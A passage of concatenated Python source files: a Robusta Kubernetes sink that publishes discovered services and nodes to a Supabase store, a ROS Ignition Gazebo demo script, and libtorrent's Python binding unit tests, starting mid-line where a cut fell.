edges_from]) # print(num_nodes, time.time() - start) return feat, label, degree, edges_data
robusta_sink.py
import base64 import json import logging import time import threading from collections import defaultdict from hikaru.model import Deployment, StatefulSetList, DaemonSetList, ReplicaSetList, Node, NodeList, Taint, \ NodeCondition, PodList, Pod from typing import List, Dict from .robusta_sink_params import RobustaSinkConfigWrapper, RobustaToken from ...model.env_vars import DISCOVERY_PERIOD_SEC from ...model.nodes import NodeInfo, PodRequests from ...model.services import ServiceInfo from ...reporting.base import Finding from .dal.supabase_dal import SupabaseDal from ..sink_base import SinkBase from ...discovery.top_service_resolver import TopServiceResolver class RobustaSink(SinkBase): def __init__( self, sink_config: RobustaSinkConfigWrapper, account_id: str, cluster_name: str, signing_key: str, ): super().__init__(sink_config.robusta_sink) self.token = sink_config.robusta_sink.token self.cluster_name = cluster_name robusta_token = RobustaToken(**json.loads(base64.b64decode(self.token))) if account_id != robusta_token.account_id: logging.error( f"Account id configuration mismatch. " f"Global Config: {account_id} Robusta token: {robusta_token.account_id}." f"Using account id from Robusta token." ) self.dal = SupabaseDal( robusta_token.store_url, robusta_token.api_key, robusta_token.account_id, robusta_token.email, robusta_token.password, sink_config.robusta_sink.name, self.cluster_name, signing_key, ) # start cluster discovery self.__active = True self.__discovery_period_sec = DISCOVERY_PERIOD_SEC self.__services_cache: Dict[str, ServiceInfo] = {} self.__nodes_cache: Dict[str, NodeInfo] = {} self.__thread = threading.Thread(target=self.__discover_cluster) self.__thread.start() def __assert_node_cache_initialized(self): if not self.__nodes_cache: logging.info("Initializing nodes cache") for node in self.dal.get_active_nodes(): self.__nodes_cache[node.name] = node def stop(self): self.__active = False def write_finding(self, finding: Finding, platform_enabled: bool): self.dal.persist_finding(finding) # service discovery impl def __publish_service(self, service_info: ServiceInfo): logging.debug(f"publishing to {self.sink_name} service {service_info} ") self.dal.persist_service(service_info) def __is_cached(self, service_info: ServiceInfo): cache_key = service_info.get_service_key() return self.__services_cache.get(cache_key) is not None def __publish_new_services(self, active_services: List): active_services_keys = set() for service in active_services: service_info = ServiceInfo( name=service.metadata.name, namespace=service.metadata.namespace, service_type=service.kind, ) cache_key = service_info.get_service_key() active_services_keys.add(cache_key) cached_service = self.__services_cache.get(cache_key) if not cached_service or cached_service != service_info: self.__publish_service(service_info) self.__services_cache[cache_key] = service_info # delete cached services that aren't active anymore cache_keys = list(self.__services_cache.keys()) for service_key in cache_keys: if service_key not in active_services_keys: del self.__services_cache[service_key] # handle delete services persisted_services = self.dal.get_active_services() deleted_services = [ service for service in persisted_services if not self.__is_cached(service) ] for deleted_service in deleted_services: deleted_service.deleted = True self.__publish_service(deleted_service) # save the cached services in the resolver. TopServiceResolver.store_cached_services(list(self.__services_cache.values())) def __discover_services(self): try: current_services = Deployment.listDeploymentForAllNamespaces().obj.items current_services.extend( StatefulSetList.listStatefulSetForAllNamespaces().obj.items ) current_services.extend( DaemonSetList.listDaemonSetForAllNamespaces().obj.items ) current_services.extend( [ rs for rs in ReplicaSetList.listReplicaSetForAllNamespaces().obj.items if rs.metadata.ownerReferences is None ] ) self.__publish_new_services(current_services) except Exception as e: logging.error( f"Failed to run periodic service discovery for {self.sink_name}", exc_info=True, ) @classmethod def __to_taint_str(cls, taint: Taint) -> str: return f"{taint.key}={taint.value}:{taint.effect}" @classmethod def __to_active_conditions_str(cls, conditions: List[NodeCondition]) -> str: if not conditions: return "" return ",".join( [f"{condition.type}:{condition.status}" for condition in conditions if condition.status != "False" or condition.type == "Ready"] ) @classmethod def __to_node_info(cls, node: Node) -> Dict: node_info = node.status.nodeInfo.to_dict() if node.status.nodeInfo else {} node_info["labels"] = node.metadata.labels node_info["annotations"] = node.metadata.annotations node_info["addresses"] = [addr.address for addr in node.status.addresses] return node_info @classmethod def __from_api_server_node(cls, api_server_node: Node, pod_requests: List[PodRequests]) -> NodeInfo: addresses = api_server_node.status.addresses external_addresses = [address for address in addresses if "externalip" in address.type.lower()] external_ip = ",".join([addr.address for addr in external_addresses]) internal_addresses = [address for address in addresses if "internalip" in address.type.lower()] internal_ip = ",".join([addr.address for addr in internal_addresses]) taints = ",".join([cls.__to_taint_str(taint) for taint in api_server_node.spec.taints]) return NodeInfo( name=api_server_node.metadata.name, node_creation_time=api_server_node.metadata.creationTimestamp, internal_ip=internal_ip, external_ip=external_ip, taints=taints, conditions=cls.__to_active_conditions_str(api_server_node.status.conditions), memory_capacity=PodRequests.parse_mem(api_server_node.status.capacity.get("memory", "0Mi")), memory_allocatable=PodRequests.parse_mem(api_server_node.status.allocatable.get("memory", "0Mi")), memory_allocated=sum([req.memory for req in pod_requests]), cpu_capacity=PodRequests.parse_cpu(api_server_node.status.capacity.get("cpu", "0")), cpu_allocatable=PodRequests.parse_cpu(api_server_node.status.allocatable.get("cpu", "0")), cpu_allocated=round(sum([req.cpu for req in pod_requests]), 3), pods_count=len(pod_requests), pods=",".join([pod_req.pod_name for pod_req in pod_requests]), node_info=cls.__to_node_info(api_server_node) ) def __publish_new_nodes(self, current_nodes: NodeList, node_requests: Dict[str, List[PodRequests]]): # convert to map curr_nodes = {} for node in current_nodes.items: curr_nodes[node.metadata.name] = node # handle deleted nodes cache_keys = list(self.__nodes_cache.keys()) for node_name in cache_keys: if not curr_nodes.get(node_name): # node doesn't exist any more, delete it self.__nodes_cache[node_name].deleted = True self.dal.publish_node(self.__nodes_cache[node_name]) del self.__nodes_cache[node_name] # new or changed nodes for node_name in curr_nodes.keys(): updated_node = self.__from_api_server_node(curr_nodes.get(node_name), node_requests.get(node_name)) if self.__nodes_cache.get(node_name) != updated_node: # node not in the cache, or changed self.dal.publish_node(updated_node) self.__nodes_cache[node_name] = updated_node def __discover_nodes(self): try: self.__assert_node_cache_initialized() current_nodes: NodeList = NodeList.listNode().obj node_requests = defaultdict(list) for status in ["Running", "Unknown", "Pending"]: pods: PodList = Pod.listPodForAllNamespaces(field_selector=f"status.phase={status}").obj for pod in pods.items: if pod.spec.nodeName: pod_cpu_req: float = 0.0 pod_mem_req: int = 0 for container in pod.spec.containers: try: requests = container.object_at_path(["resources", "requests"]) pod_cpu_req += PodRequests.parse_cpu(requests.get("cpu", 0.0)) pod_mem_req += PodRequests.parse_mem(requests.get("memory", "0Mi")) except Exception: pass # no requests on container, object_at_path throws error node_requests[pod.spec.nodeName].append( PodRequests(pod_name=pod.metadata.name, cpu=pod_cpu_req, memory=pod_mem_req) ) self.__publish_new_nodes(current_nodes, node_requests) except Exception as e: logging.error( f"Failed to run periodic nodes discovery for {self.sink_name}", exc_info=True, ) def __discover_cluster(self): while self.__active: self.__discover_services() self.__discover_nodes() time.sleep(self.__discovery_period_sec) logging.info(f"Service discovery for sink {self.sink_name} ended.")
ign_demo.py
#!/bin/python3 import threading import rclpy from rclpy.node import Node from geometry_msgs.msg import Pose from ros_ign_gazebo_manager.ign_gazebo_interface import IgnGazeboInterface if __name__ == "__main__": rclpy.init() ign = IgnGazeboInterface() # Spin MoveIt2 node in the background executor = rclpy.executors.MultiThreadedExecutor(1) executor.add_node(ign) thread = threading.Thread(target=executor.spin) thread.start() input_msg="#1:resume, 2:pause, 3:create model, 4:move model 5:delete model >> " while(rclpy.ok()): mode = input(input_msg) mode = int(mode) if mode == 1: ign.resume() elif mode == 2: ign.pause() elif mode ==3: pose=Pose() pose.position.z=1.1 ign.create_model("obj1",pose,"https://fuel.ignitionrobotics.org/1.0/OpenRobotics/models/LitterBin",is_wait=True) elif mode == 4: pose=Pose() pose.position.z=1.905 ign.set_model_pose("obj1",pose) elif mode == 5: ign.remove_model("obj1") rclpy.shutdown()
test.py
#!/usr/bin/env python3 # vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 import libtorrent as lt import unittest import time import datetime import os import shutil import binascii import subprocess as sub import sys import pickle import threading import tempfile import socket import select import logging import ssl import http.server import functools import dummy_data # include terminal interface for travis parallel executions of scripts which use # terminal features: fix multiple stdin assignment at termios.tcgetattr if os.name != 'nt': import pty settings = { 'alert_mask': lt.alert.category_t.all_categories, 'enable_dht': False, 'enable_lsd': False, 'enable_natpmp': False, 'enable_upnp': False, 'listen_interfaces': '0.0.0.0:0', 'file_pool_size': 1} def has_deprecated(): return hasattr(lt, 'version') class test_create_torrent(unittest.TestCase): def test_from_torrent_info(self): ti = lt.torrent_info('unordered.torrent') print(ti.ssl_cert()) ct = lt.create_torrent(ti) entry = ct.generate() content = lt.bencode(entry).strip() with open('unordered.torrent', 'rb') as f: file_content = bytearray(f.read().strip()) print(content) print(file_content) print(entry) self.assertEqual(content, file_content) def test_from_scratch(self): fs = lt.file_storage() fs.add_file('test/file1', 1000) fs.add_file('test/file2', 2000) self.assertEqual(fs.file_name(0), 'file1') self.assertEqual(fs.file_name(1), 'file2') ct = lt.create_torrent(fs) ct.add_url_seed('foo') ct.add_http_seed('bar') ct.add_tracker('bar') ct.set_root_cert('1234567890') ct.add_collection('1337') for i in range(ct.num_pieces()): ct.set_hash(i, b'abababababababababab') entry = ct.generate() encoded = lt.bencode(entry) print(encoded) # zero out the creation date: encoded = encoded.split(b'13:creation datei', 1) encoded[1] = b'0e' + encoded[1].split(b'e', 1)[1] encoded = b'13:creation datei'.join(encoded) self.assertEqual(encoded, b'd8:announce3:bar13:creation datei0e9:httpseeds3:bar4:infod11:collectionsl4:1337e5:filesld6:lengthi1000e4:pathl5:file1eed4:attr1:p6:lengthi15384e4:pathl4:.pad5:15384eed6:lengthi2000e4:pathl5:file2eee4:name4:test12:piece lengthi16384e6:pieces40:abababababababababababababababababababab8:ssl-cert10:1234567890e8:url-list3:fooe') class test_session_stats(unittest.TestCase): def test_add_torrent_params(self): atp = lt.add_torrent_params() for field_name in dir(atp): field = getattr(atp, field_name) print(field_name, field) atp.renamed_files = {} atp.merkle_tree = [] atp.unfinished_pieces = {} atp.have_pieces = [] atp.banned_peers = [] atp.verified_pieces = [] atp.piece_priorities = [] atp.url_seeds = [] def test_unique(self): metrics = lt.session_stats_metrics() self.assertTrue(len(metrics) > 40) idx = set() for m in metrics: self.assertTrue(m.value_index not in idx) idx.add(m.value_index) def test_find_idx(self): self.assertEqual(lt.find_metric_idx("peer.error_peers"), 0) class test_torrent_handle(unittest.TestCase): def setup(self): self.ses = lt.session(settings) self.ti = lt.torrent_info('url_seed_multi.torrent') self.h = self.ses.add_torrent({ 'ti': self.ti, 'save_path': os.getcwd(), 'flags': lt.torrent_flags.default_flags}) def test_add_torrent_error(self): self.ses = lt.session(settings) self.ti = lt.torrent_info('url_seed_multi.torrent') with self.assertRaises(RuntimeError): self.ses.add_torrent({'ti': self.ti, 'save_path': os.getcwd(), 'info_hashes': b'abababababababababab'}) def test_move_storage(self): self.setup() self.h.move_storage(u'test-dir') self.h.move_storage(b'test-dir2') self.h.move_storage('test-dir3') self.h.move_storage(u'test-dir', flags=lt.move_flags_t.dont_replace) self.h.move_storage(u'test-dir', flags=2) self.h.move_storage(b'test-dir2', flags=2) self.h.move_storage('test-dir3', flags=2) def test_torrent_handle(self): self.setup() self.assertEqual(self.h.get_file_priorities(), [4, 4]) self.assertEqual(self.h.get_piece_priorities(), [4]) self.h.prioritize_files([0, 1]) # workaround for asynchronous priority update time.sleep(1) self.assertEqual(self.h.get_file_priorities(), [0, 1]) self.h.prioritize_pieces([0]) self.assertEqual(self.h.get_piece_priorities(), [0]) # also test the overload that takes a list of piece->priority mappings self.h.prioritize_pieces([(0, 1)]) self.assertEqual(self.h.get_piece_priorities(), [1]) self.h.connect_peer(('127.0.0.1', 6881)) self.h.connect_peer(('127.0.0.2', 6881), source=4) self.h.connect_peer(('127.0.0.3', 6881), flags=2) self.h.connect_peer(('127.0.0.4', 6881), flags=2, source=4) torrent_files = self.h.torrent_file() print(torrent_files.map_file(0, 0, 0).piece) print(self.h.queue_position()) def test_torrent_handle_in_set(self): self.setup() torrents = set() torrents.add(self.h) # get another instance of a torrent_handle that represents the same # torrent. Make sure that when we add it to a set, it just replaces the # existing object t = self.ses.get_torrents() self.assertEqual(len(t), 1) for h in t: torrents.add(h) self.assertEqual(len(torrents), 1) def test_torrent_handle_in_dict(self): self.setup() torrents = {} torrents[self.h] = 'foo' # get another instance of a torrent_handle that represents the same # torrent. Make sure that when we add it to a dict, it just replaces the # existing object t = self.ses.get_torrents() self.assertEqual(len(t), 1) for h in t: torrents[h] = 'bar' self.assertEqual(len(torrents), 1) self.assertEqual(torrents[self.h], 'bar') def test_replace_trackers(self): self.setup() trackers = [] for idx, tracker_url in enumerate(('udp://tracker1.com', 'udp://tracker2.com')): tracker = lt.announce_entry(tracker_url) tracker.tier = idx tracker.fail_limit = 2 trackers.append(tracker) self.assertEqual(tracker.url, tracker_url) self.h.replace_trackers(trackers) new_trackers = self.h.trackers() self.assertEqual(new_trackers[0]['url'], 'udp://tracker1.com') self.assertEqual(new_trackers[1]['tier'], 1) self.assertEqual(new_trackers[1]['fail_limit'], 2) def test_pickle_trackers(self): """Test lt objects convertors are working and trackers can be pickled""" self.setup() tracker = lt.announce_entry('udp://tracker1.com') tracker.tier = 0 tracker.fail_limit = 1 trackers = [tracker] self.h.replace_trackers(trackers) # wait a bit until the endpoints list gets populated while len(self.h.trackers()[0]['endpoints']) == 0: time.sleep(0.1) trackers = self.h.trackers() self.assertEqual(trackers[0]['url'], 'udp://tracker1.com') # this is not necessarily 0, it could also be (EHOSTUNREACH) if the # local machine doesn't support the address family expect_value = trackers[0]['endpoints'][0]['info_hashes'][0]['last_error']['value'] pickled_trackers = pickle.dumps(trackers) unpickled_trackers = pickle.loads(pickled_trackers) self.assertEqual(unpickled_trackers[0]['url'], 'udp://tracker1.com') self.assertEqual(unpickled_trackers[0]['endpoints'][0]['info_hashes'][0]['last_error']['value'], expect_value) def test_file_status(self): self.setup() status = self.h.file_status() print(status) def test_piece_deadlines(self): self.setup() self.h.clear_piece_deadlines() def test_status_last_uploaded_dowloaded(self): # we want to check at seconds precision but can't control session # time, wait for next full second to prevent second increment time.sleep(1 - datetime.datetime.now().microsecond / 1000000.0) self.setup() st = self.h.status() for attr in dir(st): print('%s: %s' % (attr, getattr(st, attr))) # last upload and download times are at session start time self.assertEqual(st.last_upload, None) self.assertEqual(st.last_download, None) def test_serialize_trackers(self): """Test to ensure the dict contains only python built-in types""" self.setup() self.h.add_tracker({'url': 'udp://tracker1.com'}) tr = self.h.trackers()[0] # wait a bit until the endpoints list gets populated while len(tr['endpoints']) == 0: time.sleep(0.1) tr = self.h.trackers()[0] import json print(json.dumps(self.h.trackers()[0])) def test_torrent_status(self): self.setup() st = self.h.status() ti = st.handle self.assertEqual(ti.info_hashes(), self.ti.info_hashes()) # make sure we can compare torrent_status objects st2 = self.h.status() self.assertEqual(st2, st) print(st2) def test_read_resume_data(self): resume_data = lt.bencode({ 'file-format': 'libtorrent resume file', 'info-hash': 'abababababababababab', 'name': 'test', 'save_path': '.', 'peers': '\x01\x01\x01\x01\x00\x01\x02\x02\x02\x02\x00\x02', 'file_priority': [0, 1, 1]}) tp = lt.read_resume_data(resume_data) self.assertEqual(tp.name, 'test') self.assertEqual(tp.info_hashes.v1, lt.sha1_hash('abababababababababab')) self.assertEqual(tp.file_priorities, [0, 1, 1]) self.assertEqual(tp.peers, [('1.1.1.1', 1), ('2.2.2.2', 2)]) ses = lt.session(settings) h = ses.add_torrent(tp) for attr in dir(tp): print('%s: %s' % (attr, getattr(tp, attr))) h.connect_peer(('3.3.3.3', 3)) for i in range(0, 10): alerts = ses.pop_alerts() for a in alerts: print(a.message()) time.sleep(0.1) def test_scrape(self): self.setup() # this is just to make sure this function can be called like this # from python self.h.scrape_tracker() def test_unknown_torrent_parameter(self): self.ses = lt.session(settings) try: self.h = self.ses.add_torrent({'unexpected-key-name': ''}) self.assertFalse('should have thrown an exception') except KeyError as e: print(e) def test_torrent_parameter(self): self.ses = lt.session(settings) self.ti = lt.torrent_info('url_seed_multi.torrent') self.h = self.ses.add_torrent({ 'ti': self.ti, 'save_path': os.getcwd(), 'trackers': ['http://test.com/announce'], 'dht_nodes': [('1.2.3.4', 6881), ('4.3.2.1', 6881)], 'file_priorities': [1, 1], 'http_seeds': ['http://test.com/file3'], 'url_seeds': ['http://test.com/announce-url'], 'peers': [('5.6.7.8', 6881)], 'banned_peers': [('8.7.6.5', 6881)], 'renamed_files': {0: 'test.txt', 2: 'test.txt'} }) self.st = self.h.status() self.assertEqual(self.st.save_path, os.getcwd()) trackers = self.h.trackers() self.assertEqual(len(trackers), 1) self.assertEqual(trackers[0].get('url'), 'http://test.com/announce') self.assertEqual(trackers[0].get('tier'), 0) self.assertEqual(self.h.get_file_priorities(), [1, 1]) self.assertEqual(self.h.http_seeds(), ['http://test.com/file3']) # url_seeds was already set, test that it did not get overwritten self.assertEqual(self.h.url_seeds(), ['http://test.com/announce-url/', 'http://test.com/file/']) # piece priorities weren't set explicitly, but they were updated by the # file priorities being set self.assertEqual(self.h.get_piece_priorities(), [1]) self.assertEqual(self.st.verified_pieces, []) class TestAddPiece(unittest.TestCase): def setUp(self): self.dir = tempfile.TemporaryDirectory() self.session = lt.session(settings) self.ti = lt.torrent_info(dummy_data.DICT) self.atp = lt.add_torrent_params() self.atp.ti = self.ti self.atp.save_path = self.dir.name self.handle = self.session.add_torrent(self.atp) self.wait_for(lambda: self.handle.status().state != lt.torrent_status.checking_files and self.handle.status().state != lt.torrent_status.checking_resume_data, msg="checking") def wait_for(self, condition, msg="condition", timeout=5): deadline = time.time() + timeout while not condition(): self.assertLess(time.time(), deadline, msg="%s timed out" % msg) time.sleep(0.1) def wait_until_torrent_finished(self): self.wait_for(lambda: self.handle.status().progress == 1.0, msg="progress") def file_written(): with open(os.path.join(self.dir.name.encode(), dummy_data.NAME), mode="rb") as f: return f.read() == dummy_data.DATA self.wait_for(file_written, msg="file write") def test_with_str(self): for i, data in enumerate(dummy_data.PIECES): self.handle.add_piece(i, data.decode(), 0) self.wait_until_torrent_finished() def test_with_bytes(self): for i, data in enumerate(dummy_data.PIECES): self.handle.add_piece(i, data, 0) self.wait_until_torrent_finished() class test_torrent_info(unittest.TestCase): def test_non_ascii_file(self): try: shutil.copy('base.torrent', 'base-\u745E\u5177.torrent') except shutil.SameFileError: pass ti = lt.torrent_info('base-\u745E\u5177.torrent') self.assertTrue(len(ti.info_section()) != 0) self.assertTrue(len(ti.hash_for_piece(0)) != 0) def test_bencoded_constructor(self): # things that can be converted to a bencoded entry, will be interpreted # as such and encoded info = lt.torrent_info({'info': { 'name': 'test_torrent', 'length': 1234, 'piece length': 16 * 1024, 'pieces': 'aaaaaaaaaaaaaaaaaaaa'}}) self.assertEqual(info.num_files(), 1) f = info.files() self.assertEqual(f.file_path(0), 'test_torrent') self.assertEqual(f.file_name(0), 'test_torrent') self.assertEqual(f.file_size(0), 1234) self.assertEqual(info.total_size(), 1234) self.assertEqual(info.creation_date(), 0) def test_bytearray(self): # a bytearray object is interpreted as a bencoded buffer info = lt.torrent_info(bytearray(lt.bencode({'info': { 'name': 'test_torrent', 'length': 1234, 'piece length': 16 * 1024, 'pieces': 'aaaaaaaaaaaaaaaaaaaa'}}))) self.assertEqual(info.num_files(), 1) def test_bytes(self): # a bytes object is interpreted as a bencoded buffer info = lt.torrent_info(bytes(lt.bencode({'info': { 'name': 'test_torrent', 'length': 1234, 'piece length': 16 * 1024, 'pieces': 'aaaaaaaaaaaaaaaaaaaa'}}))) self.assertEqual(info.num_files(), 1) def test_load_decode_depth_limit(self): self.assertRaises(RuntimeError, lambda: lt.torrent_info( {'test': {'test': {'test': {'test': {'test': {}}}}}, 'info': { 'name': 'test_torrent', 'length': 1234, 'piece length': 16 * 1024, 'pieces': 'aaaaaaaaaaaaaaaaaaaa'}}, {'max_decode_depth': 1})) def test_load_max_pieces_limit(self): self.assertRaises(RuntimeError, lambda: lt.torrent_info( {'info': { 'name': 'test_torrent', 'length': 1234000, 'piece length': 16 * 1024, 'pieces': 'aaaaaaaaaaaaaaaaaaaa'}}, {'max_pieces': 1})) def test_load_max_buffer_size_limit(self): self.assertRaises(RuntimeError, lambda: lt.torrent_info( {'info': { 'name': 'test_torrent', 'length': 1234000, 'piece length': 16 * 1024, 'pieces': 'aaaaaaaaaaaaaaaaaaaa'}}, {'max_buffer_size': 1})) def test_info_section(self): ti = lt.torrent_info('base.torrent') self.assertTrue(len(ti.info_section()) != 0) self.assertTrue(len(ti.hash_for_piece(0)) != 0) def test_torrent_info_bytes_overload(self): # bytes will never be interpreted as a file name. It's interpreted as a # bencoded buffer with self.assertRaises(RuntimeError): ti = lt.torrent_info(b'base.torrent') def test_web_seeds(self): ti = lt.torrent_info('base.torrent') ws = [{'url': 'http://foo/test', 'auth': '', 'type': 0}, {'url': 'http://bar/test', 'auth': '', 'type': 1}] ti.set_web_seeds(ws) web_seeds = ti.web_seeds() self.assertEqual(len(ws), len(web_seeds)) for i in range(len(web_seeds)): self.assertEqual(web_seeds[i]["url"], ws[i]["url"]) self.assertEqual(web_seeds[i]["auth"], ws[i]["auth"]) self.assertEqual(web_seeds[i]["type"], ws[i]["type"]) def test_announce_entry(self): ae = lt.announce_entry('test') self.assertEqual(ae.url, 'test') self.assertEqual(ae.tier, 0) self.assertEqual(ae.verified, False) self.assertEqual(ae.source, 0) def test_torrent_info_sha1_overload(self): ti = lt.torrent_info(lt.info_hash_t(lt.sha1_hash(b'a' * 20))) self.assertEqual(ti.info_hash(), lt.sha1_hash(b'a' * 20)) self.assertEqual(ti.info_hashes().v1, lt.sha1_hash(b'a' * 20)) ti_copy = lt.torrent_info(ti) self.assertEqual(ti_copy.info_hash(), lt.sha1_hash(b'a' * 20)) self.assertEqual(ti_copy.info_hashes().v1, lt.sha1_hash(b'a' * 20)) def test_torrent_info_sha256_overload(self): ti = lt.torrent_info(lt.info_hash_t(lt.sha256_hash(b'a' * 32))) self.assertEqual(ti.info_hashes().v2, lt.sha256_hash(b'a' * 32)) ti_copy = lt.torrent_info(ti) self.assertEqual(ti_copy.info_hashes().v2, lt.sha256_hash(b'a' * 32)) def test_url_seed(self): ti = lt.torrent_info('base.torrent') ti.add_tracker('foobar1') ti.add_url_seed('foobar2') ti.add_url_seed('foobar3', 'username:password') ti.add_url_seed('foobar4', 'username:password', []) seeds = ti.web_seeds() self.assertEqual(seeds, [ {'url': 'foobar2', 'type': 0, 'auth': ''}, {'url': 'foobar3', 'type': 0, 'auth': 'username:password'}, {'url': 'foobar4', 'type': 0, 'auth': 'username:password'}, ]) def test_http_seed(self): ti = lt.torrent_info('base.torrent') ti.add_http_seed('foobar2') ti.add_http_seed('foobar3', 'username:password') ti.add_http_seed('foobar4', 'username:password', []) seeds = ti.web_seeds() self.assertEqual(seeds, [ {'url': 'foobar2', 'type': 1, 'auth': ''}, {'url': 'foobar3', 'type': 1, 'auth': 'username:password'}, {'url': 'foobar4', 'type': 1, 'auth': 'username:password'}, ]) class test_alerts(unittest.TestCase): def test_alert(self): ses = lt.session(settings) ti = lt.torrent_info('base.torrent') h = ses.add_torrent({'ti': ti, 'save_path': os.getcwd()}) st = h.status() time.sleep(1) ses.remove_torrent(h) ses.wait_for_alert(1000) # milliseconds alerts = ses.pop_alerts() for a in alerts: if a.what() == 'add_torrent_alert': self.assertEqual(a.torrent_name, 'temp') print(a.message()) for field_name in dir(a): if field_name.startswith('__'): continue field = getattr(a, field_name) if callable(field): print(' ', field_name, ' = ', field()) else: print(' ', field_name, ' = ', field) print(st.next_announce) self.assertEqual(st.name, 'temp') print(st.errc.message()) print(st.pieces) print(st.last_seen_complete) print(st.completed_time) print(st.progress) print(st.num_pieces) print(st.distributed_copies) print(st.info_hashes) print(st.seeding_duration) print(st.last_upload) print(st.last_download) self.assertEqual(st.save_path, os.getcwd()) def test_alert_fs(self): ses = lt.session(settings) s1, s2 = socket.socketpair() ses.set_alert_fd(s2.fileno()) ses.pop_alerts() # make sure there's an alert to wake us up ses.post_session_stats() read_sockets, write_sockets, error_sockets = select.select([s1], [], []) self.assertEqual(len(read_sockets), 1) for s in read_sockets: s.recv(10) def test_pop_alerts(self): ses = lt.session(settings) ses.async_add_torrent( {"ti": lt.torrent_info("base.torrent"), "save_path": "."}) # this will cause an error (because of duplicate torrents) and the # torrent_info object created here will be deleted once the alert goes out # of scope. When that happens, it will decrement the python object, to allow # it to release the object. # we're trying to catch the error described in this post, with regards to # torrent_info. # https://mail.python.org/pipermail/cplusplus-sig/2007-June/012130.html ses.async_add_torrent( {"ti": lt.torrent_info("base.torrent"), "save_path": "."}) time.sleep(1) for i in range(0, 10): alerts = ses.pop_alerts() for a in alerts: print(a.message()) time.sleep(0.1) def test_alert_notify(self): ses = lt.session(settings) event = threading.Event() def callback(): event.set() ses.set_alert_notify(callback) ses.async_add_torrent( {"ti": lt.torrent_info("base.torrent"), "save_path": "."}) event.wait() class test_bencoder(unittest.TestCase): def test_bencode(self): encoded = lt.bencode({'a': 1, 'b': [1, 2, 3], 'c': 'foo'}) self.assertEqual(encoded, b'd1:ai1e1:bli1ei2ei3ee1:c3:fooe') def test_bdecode(self): encoded = b'd1:ai1e1:bli1ei2ei3ee1:c3:fooe' decoded = lt.bdecode(encoded) self.assertEqual(decoded, {b'a': 1, b'b': [1, 2, 3], b'c': b'foo'}) def test_string(self): encoded = lt.bencode('foo\u00e5\u00e4\u00f6') self.assertEqual(encoded, b'9:foo\xc3\xa5\xc3\xa4\xc3\xb6') def test_bytes(self): encoded = lt.bencode(b'foo') self.assertEqual(encoded, b'3:foo') def test_float(self): # TODO: this should throw a TypeError in the future with self.assertWarns(DeprecationWarning): encoded = lt.bencode(1.337) self.assertEqual(encoded, b'0:') def test_object(self): class FooBar: dummy = 1 # TODO: this should throw a TypeError in the future with self.assertWarns(DeprecationWarning): encoded = lt.bencode(FooBar()) self.assertEqual(encoded, b'0:') def test_preformatted(self): encoded = lt.bencode((1, 2, 3, 4, 5)) self.assertEqual(encoded, b'\x01\x02\x03\x04\x05') class test_sha1hash(unittest.TestCase): def test_sha1hash(self): h = 'a0' * 20 s = lt.sha1_hash(binascii.unhexlify(h)) self.assertEqual(h, str(s)) def test_hash(self): self.assertNotEqual(hash(lt.sha1_hash(b'b' * 20)), hash(lt.sha1_hash(b'a' * 20))) self.assertEqual(hash(lt.sha1_hash(b'b' * 20)), hash(lt.sha1_hash(b'b' * 20))) class test_sha256hash(unittest.TestCase): def test_sha1hash(self): h = 'a0' * 32 s = lt.sha256_hash(binascii.unhexlify(h)) self.assertEqual(h, str(s)) def test_hash(self): self.assertNotEqual(hash(lt.sha256_hash(b'b' * 32)), hash(lt.sha256_hash(b'a' * 32))) self.assertEqual(hash(lt.sha256_hash(b'b' * 32)), hash(lt.sha256_hash(b'b' * 32))) class test_info_hash(unittest.TestCase): def test_info_hash(self): s1 = lt.sha1_hash(b'a' * 20) s2 = lt.sha256_hash(b'b' * 32) ih1 = lt.info_hash_t(s1); self.assertTrue(ih1.has_v1()) self.assertFalse(ih1.has_v2()) self.assertEqual(ih1.v1, s1) ih2 = lt.info_hash_t(s2); self.assertFalse(ih2.has_v1()) self.assertTrue(ih2.has_v2()) self.assertEqual(ih2.v2, s2) ih12 = lt.info_hash_t(s1, s2); self.assertTrue(ih12.has_v1()) self.assertTrue(ih12.has_v2()) self.assertEqual(ih12.v1, s1) self.assertEqual(ih12.v2, s2) self.assertNotEqual(hash(ih1), hash(ih2)) self.assertNotEqual(hash(ih1), hash(ih12)) self.assertEqual(hash(ih1), hash(lt.info_hash_t(s1))) self.assertEqual(hash(ih2), hash(lt.info_hash_t(s2))) self.assertEqual(hash(ih12), hash(lt.info_hash_t(s1, s2))) class test_magnet_link(unittest.TestCase): def test_parse_magnet_uri(self): ses = lt.session({}) magnet = 'magnet:?xt=urn:btih:C6EIF4CCYDBTIJVG3APAGM7M4NDONCTI' p = lt.parse_magnet_uri(magnet) self.assertEqual(str(p.info_hashes.v1), '178882f042c0c33426a6d81e0333ece346e68a68') p.save_path = '.' h = ses.add_torrent(p) self.assertEqual(str(h.info_hash()), '178882f042c0c33426a6d81e0333ece346e68a68') self.assertEqual(str(h.info_hashes().v1), '178882f042c0c33426a6d81e0333ece346e68a68') def test_parse_magnet_uri_dict(self): ses = lt.session({}) magnet = 'magnet:?xt=urn:btih:C6EIF4CCYDBTIJVG3APAGM7M4NDONCTI' p = lt.parse_magnet_uri_dict(magnet) self.assertEqual(binascii.hexlify(p['info_hashes']), b'178882f042c0c33426a6d81e0333ece346e68a68') p['save_path'] = '.' h = ses.add_torrent(p) self.assertEqual(str(h.info_hash()), '178882f042c0c33426a6d81e0333ece346e68a68') self.assertEqual(str(h.info_hashes().v1), '178882f042c0c33426a6d81e0333ece346e68a68') def test_add_deprecated_magnet_link(self): ses = lt.session() atp = lt.add_torrent_params() atp.info_hashes = lt.info_hash_t(lt.sha1_hash(b"a" * 20)) h = ses.add_torrent(atp) self.assertTrue(h.status().info_hashes == lt.info_hash_t(lt.sha1_hash(b"a" * 20))) def test_add_magnet_link(self): ses = lt.session() atp = lt.add_torrent_params() atp.info_hash = lt.sha1_hash(b"a" * 20) h = ses.add_torrent(atp) self.assertTrue(h.status().info_hashes == lt.info_hash_t(lt.sha1_hash(b"a" * 20))) class test_peer_class(unittest.TestCase): def test_peer_class_ids(self): s = lt.session(settings) print('global_peer_class_id:', lt.session.global_peer_class_id) print('tcp_peer_class_id:', lt.session.tcp_peer_class_id) print('local_peer_class_id:', lt.session.local_peer_class_id) print('global: ', s.get_peer_class(s.global_peer_class_id)) print('tcp: ', s.get_peer_class(s.local_peer_class_id)) print('local: ', s.get_peer_class(s.local_peer_class_id)) def test_peer_class(self): s = lt.session(settings) c = s.create_peer_class('test class') print('new class: ', s.get_peer_class(c)) nfo = s.get_peer_class(c) self.assertEqual(nfo['download_limit'], 0) self.assertEqual(nfo['upload_limit'], 0) 